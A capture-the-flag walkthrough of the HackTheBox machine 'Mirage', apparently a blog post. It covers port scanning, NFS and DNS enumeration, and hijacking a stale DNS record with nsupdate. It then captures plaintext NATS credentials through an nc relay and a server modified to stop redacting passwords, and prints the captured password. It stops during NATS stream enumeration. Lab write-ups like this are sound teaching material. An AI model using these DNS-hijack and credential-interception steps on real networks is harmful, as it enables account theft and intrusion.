Mirage

Mirage is an Active Directory DC. I’ll start by finding a domain name in a report on an open NFS server. That name is not registered in DNS, so I’ll register it pointing to my host, and use that to capture NATS credentials. I’ll use those to enumerate NATS and find another set of creds. With those, I’ll Kerberoast another user to get a shell, and find another user logged into the box. A cross-session relay attack gets their hash which I can crack. That user can reset the password of a contractor user, and I’ll have to re-enable the account and set working hours to use it. From there, I’ll read a GMSA password, and use that service account to do a ESC10 attack, resulting in Administrator access.

Box Info

Name Mirage Mirage
Play on HackTheBox
Release Date 19 Jul 2025
Retire Date 22 Nov 2025
OS Windows Windows
Base Points Hard [40]
Rated Difficulty Rated difficulty for Mirage
Radar Graph Radar chart for Mirage
First Blood User 00:50:27Vz0n
First Blood Root 03:37:34Embargo
Creators EmSec
ctrlzero

Recon

Initial Scanning

nmap finds 29 open TCP ports:

oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.10.11.78
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-16 18:49 UTC
Initiating Ping Scan at 18:49
...[snip]...
Nmap scan report for 10.10.11.78
Host is up, received echo-reply ttl 127 (0.022s latency).
Scanned at 2025-11-16 18:49:03 UTC for 9s
Not shown: 65506 closed tcp ports (reset)
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
111/tcp   open  rpcbind          syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
2049/tcp  open  nfs              syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
4222/tcp  open  vrml-multi-use   syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
47001/tcp open  winrm            syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49665/tcp open  unknown          syn-ack ttl 127
49666/tcp open  unknown          syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
49668/tcp open  unknown          syn-ack ttl 127
64368/tcp open  unknown          syn-ack ttl 127
64379/tcp open  unknown          syn-ack ttl 127
64381/tcp open  unknown          syn-ack ttl 127
64396/tcp open  unknown          syn-ack ttl 127
64402/tcp open  unknown          syn-ack ttl 127
64433/tcp open  unknown          syn-ack ttl 127
64436/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 8.66 seconds
           Raw packets sent: 84384 (3.713MB) | Rcvd: 65536 (2.622MB)
oxdf@hacky$ nmap -p 53,88,111,135,139,389,445,464,593,636,2049,3268,3269,4222,5985,9389,47001 -sCV 10.10.11.78
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-16 18:50 UTC
Nmap scan report for 10.10.11.78
Host is up (0.022s latency).

PORT      STATE SERVICE         VERSION
53/tcp    open  domain          Simple DNS Plus
88/tcp    open  kerberos-sec    Microsoft Windows Kerberos (server time: 2025-11-17 01:50:35Z)
111/tcp   open  rpcbind         2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc           Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap            Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap        Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
2049/tcp  open  nlockmgr        1-4 (RPC #100021)
3268/tcp  open  ldap            Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap        Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
4222/tcp  open  vrml-multi-use?
| fingerprint-strings:
|   GenericLines:
|     INFO {"server_id":"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F","server_name":"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":13,"client_ip":"10.10.14.2","xkey":"XDUYVCQQ2DPW2O43RPBI4XNUMAUJ2BZYDPJ3X2HQTCXZJRVRGRLC6BTL"}
|     -ERR 'Authorization Violation'
|   GetRequest:
|     INFO {"server_id":"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F","server_name":"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":14,"client_ip":"10.10.14.2","xkey":"XDUYVCQQ2DPW2O43RPBI4XNUMAUJ2BZYDPJ3X2HQTCXZJRVRGRLC6BTL"}
|     -ERR 'Authorization Violation'
|   HTTPOptions:
|     INFO {"server_id":"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F","server_name":"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":15,"client_ip":"10.10.14.2","xkey":"XDUYVCQQ2DPW2O43RPBI4XNUMAUJ2BZYDPJ3X2HQTCXZJRVRGRLC6BTL"}
|     -ERR 'Authorization Violation'
|   NULL:
|     INFO {"server_id":"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F","server_name":"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":12,"client_ip":"10.10.14.2","xkey":"XDUYVCQQ2DPW2O43RPBI4XNUMAUJ2BZYDPJ3X2HQTCXZJRVRGRLC6BTL"}
|_    -ERR 'Authentication Timeout'
5985/tcp  open  http            Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf          .NET Message Framing
47001/tcp open  http            Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4222-TCP:V=7.94SVN%I=7%D=11/16%Time=691A1CF4%P=x86_64-pc-linux-gnu%
SF:r(NULL,1CE,"INFO\x20{\"server_id\":\"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2
SF:AIPXPTTJG2NN3DWSBMPP5F\",\"server_name\":\"NDAOI7VEIW4M7UNLZ6MBP7STRNRA
SF:R5T2D2AIPXPTTJG2NN3DWSBMPP5F\",\"version\":\"2\.11\.3\",\"proto\":1,\"g
SF:it_commit\":\"a82cfda\",\"go\":\"go1\.24\.2\",\"host\":\"0\.0\.0\.0\",\
SF:"port\":4222,\"headers\":true,\"auth_required\":true,\"max_payload\":10
SF:48576,\"jetstream\":true,\"client_id\":12,\"client_ip\":\"10\.10\.14\.2
SF:\",\"xkey\":\"XDUYVCQQ2DPW2O43RPBI4XNUMAUJ2BZYDPJ3X2HQTCXZJRVRGRLC6BTL\
SF:"}\x20\r\n-ERR\x20'Authentication\x20Timeout'\r\n")%r(GenericLines,1CF,
SF:"INFO\x20{\"server_id\":\"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2N
SF:N3DWSBMPP5F\",\"server_name\":\"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXP
SF:TTJG2NN3DWSBMPP5F\",\"version\":\"2\.11\.3\",\"proto\":1,\"git_commit\"
SF::\"a82cfda\",\"go\":\"go1\.24\.2\",\"host\":\"0\.0\.0\.0\",\"port\":422
SF:2,\"headers\":true,\"auth_required\":true,\"max_payload\":1048576,\"jet
SF:stream\":true,\"client_id\":13,\"client_ip\":\"10\.10\.14\.2\",\"xkey\"
SF::\"XDUYVCQQ2DPW2O43RPBI4XNUMAUJ2BZYDPJ3X2HQTCXZJRVRGRLC6BTL\"}\x20\r\n-
SF:ERR\x20'Authorization\x20Violation'\r\n")%r(GetRequest,1CF,"INFO\x20{\"
SF:server_id\":\"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F\
SF:",\"server_name\":\"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSB
SF:MPP5F\",\"version\":\"2\.11\.3\",\"proto\":1,\"git_commit\":\"a82cfda\"
SF:,\"go\":\"go1\.24\.2\",\"host\":\"0\.0\.0\.0\",\"port\":4222,\"headers\
SF:":true,\"auth_required\":true,\"max_payload\":1048576,\"jetstream\":tru
SF:e,\"client_id\":14,\"client_ip\":\"10\.10\.14\.2\",\"xkey\":\"XDUYVCQQ2
SF:DPW2O43RPBI4XNUMAUJ2BZYDPJ3X2HQTCXZJRVRGRLC6BTL\"}\x20\r\n-ERR\x20'Auth
SF:orization\x20Violation'\r\n")%r(HTTPOptions,1CF,"INFO\x20{\"server_id\"
SF::\"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F\",\"server_
SF:name\":\"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F\",\"v
SF:ersion\":\"2\.11\.3\",\"proto\":1,\"git_commit\":\"a82cfda\",\"go\":\"g
SF:o1\.24\.2\",\"host\":\"0\.0\.0\.0\",\"port\":4222,\"headers\":true,\"au
SF:th_required\":true,\"max_payload\":1048576,\"jetstream\":true,\"client_
SF:id\":15,\"client_ip\":\"10\.10\.14\.2\",\"xkey\":\"XDUYVCQQ2DPW2O43RPBI
SF:4XNUMAUJ2BZYDPJ3X2HQTCXZJRVRGRLC6BTL\"}\x20\r\n-ERR\x20'Authorization\x
SF:20Violation'\r\n");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-11-17T01:51:19
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: 7h00m01s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 72.55 seconds

The box shows many of the ports associated with a Windows Domain Controller. The domain is mirage.htb, and the hostname is DC01.

I’ll use netexec to make a hosts file entry and put it at the top of my /etc/hosts file:

oxdf@hacky$ netexec smb 10.10.11.78 --generate-hosts-file hosts
SMB         10.10.11.78     445    dc01             [*]  x64 (name:dc01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
oxdf@hacky$ cat hosts 
10.10.11.78     dc01.mirage.htb mirage.htb dc01
oxdf@hacky$ cat hosts /etc/hosts | sudo sponge /etc/hosts

I’ll note that netexec is showing that NTLM is disabled. nmap notes a clock skew, so I’ll want to make sure to run sudo ntpdate DC01.mirage.htb before any actions that use Kerberos auth.

All of the ports show a TTL of 127, which matches the expected TTL for Windows one hop away.

There are a couple non-typical ports open as well:

  • NFS (TCP 111, 2049)
  • NATS (TCP 4222)

SMB - TCP 445

Unsurprisingly, I can’t get anything out of SMB without valid creds:

oxdf@hacky$ netexec smb DC01.mirage.htb -u guest -p '' --shares
SMB         10.10.11.78     445    dc01             [*]  x64 (name:dc01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         10.10.11.78     445    dc01             [-] mirage.htb\guest: STATUS_NOT_SUPPORTED 
oxdf@hacky$ netexec smb DC01.mirage.htb -u guest -p '' -k --shares
SMB         DC01.mirage.htb 445    DC01             [*]  x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         DC01.mirage.htb 445    DC01             [-] mirage.htb\guest: KDC_ERR_CLIENT_REVOKED 
oxdf@hacky$ netexec smb DC01.mirage.htb -u oxdf -p oxdf -k --shares
SMB         DC01.mirage.htb 445    DC01             [*]  x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         DC01.mirage.htb 445    DC01             [-] mirage.htb\oxdf:oxdf KDC_ERR_C_PRINCIPAL_UNKNOWN 

NSF - TCP 2049

Shares

In the past I’ve shown showmount for enumeration NFS shares. I’ll use netexec to check it out here:

oxdf@hacky$ netexec nfs DC01.mirage.htb --enum-shares
NFS         10.10.11.78     2049   DC01.mirage.htb  [*] Supported NFS versions: (2, 3, 4) (root escape:False)
NFS         10.10.11.78     2049   DC01.mirage.htb  [*] Enumerating NFS Shares Directories
NFS         10.10.11.78     2049   DC01.mirage.htb  [+] /MirageReports
NFS         10.10.11.78     2049   DC01.mirage.htb  UID        Perms    File Size      File Path                                     Access List
NFS         10.10.11.78     2049   DC01.mirage.htb  ---        -----    ---------      ---------                                     -----------
NFS         10.10.11.78     2049   DC01.mirage.htb  4294967294 r-x      8.1MB          /MirageReports/Incident_Report_Missing_DNS_Record_nats-svc.pdf Everyone
NFS         10.10.11.78     2049   DC01.mirage.htb  4294967294 r-x      8.9MB          /MirageReports/Mirage_Authentication_Hardening_Report.pdf Everyone

There’s one share, /MirageReports, with two files. I’ll grab both:

oxdf@hacky$ netexec nfs DC01.mirage.htb --share MirageReports --get-file Incident_Report_Missing_DNS_Record_nats-svc.pdf Incident_Report_Missing_DNS_Record_nats-svc.pdf
NFS         10.10.11.78     2049   DC01.mirage.htb  [*] Supported NFS versions: (2, 3, 4) (root escape:False)
NFS         10.10.11.78     2049   DC01.mirage.htb  [*] Downloading Incident_Report_Missing_DNS_Record_nats-svc.pdf to Incident_Report_Missing_DNS_Record_nats-svc.pdf
NFS         10.10.11.78     2049   DC01.mirage.htb  File successfully downloaded from Incident_Report_Missing_DNS_Record_nats-svc.pdf to Incident_Report_Missing_DNS_Record_nats-svc.pdf
oxdf@hacky$ netexec nfs DC01.mirage.htb --share MirageReports --get-file Mirage_Authentication_Hardening_Report.pdf Mirage_Authentication_Hardening_Report.pdf
NFS         10.10.11.78     2049   DC01.mirage.htb  [*] Supported NFS versions: (2, 3, 4) (root escape:False)
NFS         10.10.11.78     2049   DC01.mirage.htb  [*] Downloading Mirage_Authentication_Hardening_Report.pdf to Mirage_Authentication_Hardening_Report.pdf
NFS         10.10.11.78     2049   DC01.mirage.htb  File successfully downloaded from Mirage_Authentication_Hardening_Report.pdf to Mirage_Authentication_Hardening_Report.pdf

Mirage_Authentication_Hardending_Report.pdf

The first PDF is a plan to move off NTLM in favor of Kerberos only:

image-20251116144319943

It’s five pages. There’s a timeline:

image-20251116144401623

Mirage released in July 2025, so this is not yet complete (presumably). There’s a username at the end:

image-20251116144508666

Incident_Report_Missing_DNS_Record_nats-svc.pdf

This is another report in the same template, this time about a security indicent:

image-20251116144557227

The domain nats-svc.mirage.htb isn’t defined in the DNS server. There’s a screenshot using nats to connect to this host on port 4222:

image-20251116144702137

Another screenshot shows the defined DNS records:

image-20251116144725946

They believe the DNS record was marked to be removed if it was not refreshed for 14 days, and it was. They suggest moving it to a static record. The screenshot also shows that the DNS server is configured (in the default state) where any use can update DNS records:

image-20251116144936443

DNS - TCP / UDP 53

I’ll use dig to enumerate the DNS a bit. I’m able to get answers from the DNS server about DC01.mirage.htb and mirage.htb:

oxdf@hacky$ dig @DC01.mirage.htb DC01.mirage.htb

; <<>> DiG 9.18.39-0ubuntu0.24.04.2-Ubuntu <<>> @DC01.mirage.htb DC01.mirage.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16501
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;DC01.mirage.htb.               IN      A

;; ANSWER SECTION:
DC01.mirage.htb.        3600    IN      A       10.10.11.78

;; Query time: 21 msec
;; SERVER: 10.10.11.78#53(DC01.mirage.htb) (UDP)
;; WHEN: Sun Nov 16 19:56:24 UTC 2025
;; MSG SIZE  rcvd: 60

oxdf@hacky$ dig @DC01.mirage.htb mirage.htb

; <<>> DiG 9.18.39-0ubuntu0.24.04.2-Ubuntu <<>> @DC01.mirage.htb mirage.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7205
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;mirage.htb.                    IN      A

;; ANSWER SECTION:
mirage.htb.             600     IN      A       10.10.11.78

;; Query time: 22 msec
;; SERVER: 10.10.11.78#53(DC01.mirage.htb) (UDP)
;; WHEN: Sun Nov 16 19:56:28 UTC 2025
;; MSG SIZE  rcvd: 55

If I try nats-svc.mirage.htb, there’s no answer:

oxdf@hacky$ dig @DC01.mirage.htb nats-svc.mirage.htb

; <<>> DiG 9.18.39-0ubuntu0.24.04.2-Ubuntu <<>> @DC01.mirage.htb nats-svc.mirage.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 46457
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;nats-svc.mirage.htb.           IN      A

;; AUTHORITY SECTION:
mirage.htb.             3600    IN      SOA     dc01.mirage.htb. hostmaster.mirage.htb. 150 900 600 86400 3600

;; Query time: 22 msec
;; SERVER: 10.10.11.78#53(DC01.mirage.htb) (UDP)
;; WHEN: Sun Nov 16 19:57:24 UTC 2025
;; MSG SIZE  rcvd: 110

This matches the issue identified in the report.

NATS - TCP 4222

NATS is a:

Connective Technology for Adaptive Edge & Distributed Systems

And:

NATS is a simple, secure and high performance open source data layer for cloud native applications, IoT messaging, and microservices architectures. We feel that it should be the backbone of your communication between services. It doesn’t matter what language, protocol, or platform you are using; NATS is the best way to connect your services.

NATS is an alternative to RabbitMQ or Kafka.

From the nmap results I can tell about this instance:

  • Version 2.11.3
  • Go Version: go1.24.2
  • Git Commit: a82cfda
  • Protocol: Version 1
  • JetStream: Enabled (persistence layer for NATS)
  • Authentication: Required (“auth_required”:true)
  • Max Payload: 1048576 bytes (1MB)
  • Headers: Enabled

JetStream means that it will use that for persistent messages.

To install the client (as seen running in the screenshot above), I’ll run go install github.com/nats-io/natscli/nats@latest.

I’ll try the command from the PDF:

oxdf@hacky$ nats -s nats://DC01.mirage.htb rtt 
19:54:06 Failed to compute rtt for nats://10.10.11.78:4222: nats: Authorization Violation
nats://DC01.mirage.htb:

   nats://10.10.11.78:4222: failed

The rtt command is a very simple command, trying to calculate the round-trip time to the NATS server. If it requires auth, anything will. The screenshot shows using a username and password in environment variables.

Auth as david.jjackson

Recover NATS Password

Get Connection

I’m going to register my IP as the IP for nats-svc.mirage.htb with the hopes that some production systems will try to connect to it. I’ll use nsupdate:

oxdf@hacky$ nsupdate
> server 10.10.11.78
> update add nats-svc.mirage.htb 86400 A 10.10.14.2
> send

Within a minute, there’s a connection at my listening nc from the DC:

oxdf@hacky$ nc -lnvp 4222
Listening on 0.0.0.0 4222
Connection received on 10.10.11.78 60922
oxdf@hacky$ 

It just returns pretty quickly. That’s because the client is expecting data from the server.

Recover Password via nc Fake Connection

I’ll nc to Mirage on 4222, and it immediately responds with data, and then a second later a timeout message:

oxdf@hacky$ nc 10.10.11.78 4222
INFO {"server_id":"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F","server_name":"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":153,"client_ip":"10.10.14.2","xkey":"XDUYVCQQ2DPW2O43RPBI4XNUMAUJ2BZYDPJ3X2HQTCXZJRVRGRLC6BTL"} 
-ERR 'Authentication Timeout'

I’ll use that data as the data to send when the client connects to me. I’ll update the DNS again (there’s a cleanup script resetting it immediately after it connects):

oxdf@hacky$ nc 10.10.11.78 4222 | head -1 | nc -lnvp 4222
Listening on 0.0.0.0 4222
Connection received on 10.10.11.78 65313
CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"hx5h7F5554fP@1337!","tls_required":false,"name":"NATS CLI Version 0.2.2","lang":"go","version":"1.41.1","protocol":1,"echo":true,"headers":true,"no_responders":true}
PING

There’s a CONNECT message from the client, and it has creds!

Recover Password via Legit Server and Wireshark

I’ll clone the official NATS server from GitHub:

oxdf@hacky$ git clone https://github.com/nats-io/nats-server
Cloning into 'nats-server'...
remote: Enumerating objects: 65730, done.
remote: Counting objects: 100% (361/361), done.
remote: Compressing objects: 100% (215/215), done.
remote: Total 65730 (delta 193), reused 187 (delta 145), pack-reused 65369 (from 2)
Receiving objects: 100% (65730/65730), 52.76 MiB | 22.63 MiB/s, done.
Resolving deltas: 100% (48367/48367), done.

I’ll go into that directory and go build, and it generates nats-server. I’ll start the server with -V for verbose output:

oxdf@hacky$ ./nats-server -V
[75879] 2025/11/16 20:47:38.720334 [INF] Starting nats-server
[75879] 2025/11/16 20:47:38.720368 [INF]   Version:  2.14.0-dev
[75879] 2025/11/16 20:47:38.720371 [INF]   Git:      [aa1b2fc]
[75879] 2025/11/16 20:47:38.720373 [INF]   Name:     NASWQQGS7SP3Y4FEMJALSYC2OE7NHQYU267NWNR42CWX2QXDLAQWT7UF
[75879] 2025/11/16 20:47:38.720375 [INF]   ID:       NASWQQGS7SP3Y4FEMJALSYC2OE7NHQYU267NWNR42CWX2QXDLAQWT7UF
[75879] 2025/11/16 20:47:38.721142 [INF] Listening for client connections on 0.0.0.0:4222
[75879] 2025/11/16 20:47:38.721861 [INF] Server is ready

I’ll re-set the DNS record, and there’s a connection:

[75879] 2025/11/16 20:48:15.642094 [TRC] 10.10.11.78:59242 - cid:5 - <<- [CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"[REDACTED]","tls_required":false,"name":"NATS CLI Version 0.2.2","lang":"go","version":"1.41.1","protocol":1,"echo":true,"headers":true,"no_responders":true}]

The first line is the CONNECT message, where it gives the username, but the “pass” field just shows “[REDACTED]”. However, if I run Wireshark while this happens, the connection is in plaintext:

image-20251116154939514

Recover Password via Modified Server

I’ll use claude to modify the code:

image-20251116155135829Click for full size image

It found where the reaction happens and just returns the original arg instead of the redacted result. I’ll re-run go build, run the server, and then update the DNS record. Now the CONNECT message password is in the clear:

[76607] 2025/11/16 20:52:30.213008 [TRC] 10.10.11.78:59261 - cid:5 - <<- [CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"hx5h7F5554fP@1337!","tls_required":false,"name":"NATS CLI Version 0.2.2","lang":"go","version":"1.41.1","protocol":1,"echo":true,"headers":true,"no_responders":true}]

Not Domain Password

I can try this password as a domain user:

oxdf@hacky$ netexec smb DC01.mirage.htb -u Dev_Account_A -p 'hx5h7F5554fP@1337!' -k 
SMB         DC01.mirage.htb 445    DC01             [*]  x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         DC01.mirage.htb 445    DC01             [-] mirage.htb\Dev_Account_A:hx5h7F5554fP@1337! KDC_ERR_PREAUTH_FAILED

Either the account is not a domain account or the password is wrong.

Recover Password

Connect to NATS

With the valid username and password, I’m now able to run commands in the NATS client without errors:

oxdf@hacky$ nats -s nats://DC01.mirage.htb rtt --user Dev_Account_A --password "hx5h7F5554fP@1337!"
nats://DC01.mirage.htb:

   nats://10.10.11.78:4222: 24ms

To avoid having to specify the host and the creds every time, I’ll use the context command:

oxdf@hacky$ nats context add mirage -s nats://DC01.mirage.htb --user Dev_Account_A --password "hx5h7F5554fP@1337!"
NATS Configuration Context "mirage"

  Server URLs: nats://DC01.mirage.htb
     Username: Dev_Account_A
     Password: ******************
         Path: /home/oxdf/.config/nats/context/mirage.json

I’ve created a context named “mirage” (could be anything) which now I can invoke with the --context option:

oxdf@hacky$ nats rtt --context mirage
nats://DC01.mirage.htb:

   nats://10.10.11.78:4222: 22ms

NATS Overview

Some basic concepts around NATS are subjects, streams, and consumers:

  • Subjects are like topics or channels (e.g., “user.login”, “payment.completed”, “logs.error”). Messages are published to subjects. In Core NATS (without any add-ons), it is pub/sub only, which means it is sent to any listeners and then discarded. If no one is listening, messages are lost.
  • Streams are persistent storage that captures and stores messages from one or more subjects that come with an add-on like JetStream. Messages can be stored in memory or on disk with specified retention policies. They can be consumed multiple times, and can be configured to capture based on subject (channel).
  • Consumers are how streams are read from. A consumer can read from the beginning, middle, or end, and multiple consumers can read the same stream independently.

To enumerate NATS, I’ll want to look at both streams and any channels I should subscribe to for newly sent messages.

NATS Enumeration

The account info command show information about the account:

oxdf@hacky$ nats account info --context mirage
Account Information

                           User: Dev_Account_A
                        Account: dev
                        Expires: never
                      Client ID: 1,163
                      Client IP: 10.10.14.2
                            RTT: 22ms
              Headers Supported: true
                Maximum Payload: 1.0 MiB
                  Connected URL: nats://DC01.mirage.htb:4222
              Connected Address: 10.10.11.78:4222
            Connected Server ID: NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F
       Connected Server Version: 2.11.3
                 TLS Connection: no

JetStream Account Information:

Account Usage:

                        Storage: 570 B
                         Memory: 0 B
                        Streams: 1
                      Consumers: 0

Account Limits:

            Max Message Payload: 1.0 MiB

  Tier: Default:

      Configuration Requirements:

        Stream Requires Max Bytes Set: false
         Consumer Maximum Ack Pending: Unlimited

      Stream Resource Usage Limits:

                               Memory: 0 B of Unlimited 
                    Memory Per Stream: Unlimited
                              Storage: 570 B of Unlimited (1.0 MiB reserved)
                   Storage Per Stream: Unlimited
                              Streams: 1 of Unlimited
                            Consumers: 0 of Unlimited

The most interesting thing is that one stream exists created in this account. The fact that there are 0 consumers means no one is actively reading from the stream right now, but the 570 bytes of storage suggests there are messages stored in it waiting to be read.

stream list will show that stream:

oxdf@hacky$ nats stream list --context mirage
╭─────────────────────────────────────────────────────────────────────────────────╮
│                                     Streams                                     │
├───────────┬─────────────┬─────────────────────┬──────────┬───────┬──────────────┤
│ Name      │ Description │ Created             │ Messages │ Size  │ Last Message │
├───────────┼─────────────┼─────────────────────┼──────────┼───────┼──────────────┤
│ auth_logs │             │ 2025-05-05 07:18:19 │ 5        │ 570 B │ 196d13h5m17s │
╰───────────┴─────────────┴─────────────────────┴──────────┴───────┴──────────────╯

It’s named auth_logs. I’ll get info about it:

